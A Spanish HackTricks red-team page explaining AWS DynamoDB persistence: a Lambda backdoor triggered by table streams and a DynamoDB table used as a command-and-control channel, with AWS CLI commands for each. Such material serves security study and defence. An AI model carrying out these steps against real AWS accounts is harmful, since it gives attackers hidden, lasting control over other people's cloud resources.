Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de HackTricks en AWS)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Para más información accede a:
{% content-ref url="../aws-services/aws-dynamodb-enum.md" %} aws-dynamodb-enum.md {% endcontent-ref %}
Utilizando disparadores de DynamoDB, un atacante puede crear una puerta trasera sigilosa asociando una función Lambda maliciosa con una tabla. La función Lambda puede ser activada cuando se añade, modifica o elimina un elemento, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta de AWS.
{% code overflow="wrap" %}
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
{% endcode %}
Para mantener la persistencia, el atacante puede crear o modificar elementos en la tabla DynamoDB, lo que activará la función Lambda maliciosa. Esto permite al atacante ejecutar código dentro de la cuenta de AWS sin interacción directa con la función Lambda.
Un atacante puede utilizar una tabla DynamoDB como un canal de comando y control (C2) creando elementos que contienen comandos y utilizando instancias comprometidas o funciones Lambda para recuperar y ejecutar estos comandos.
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
Las instancias comprometidas o las funciones Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y opcionalmente informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.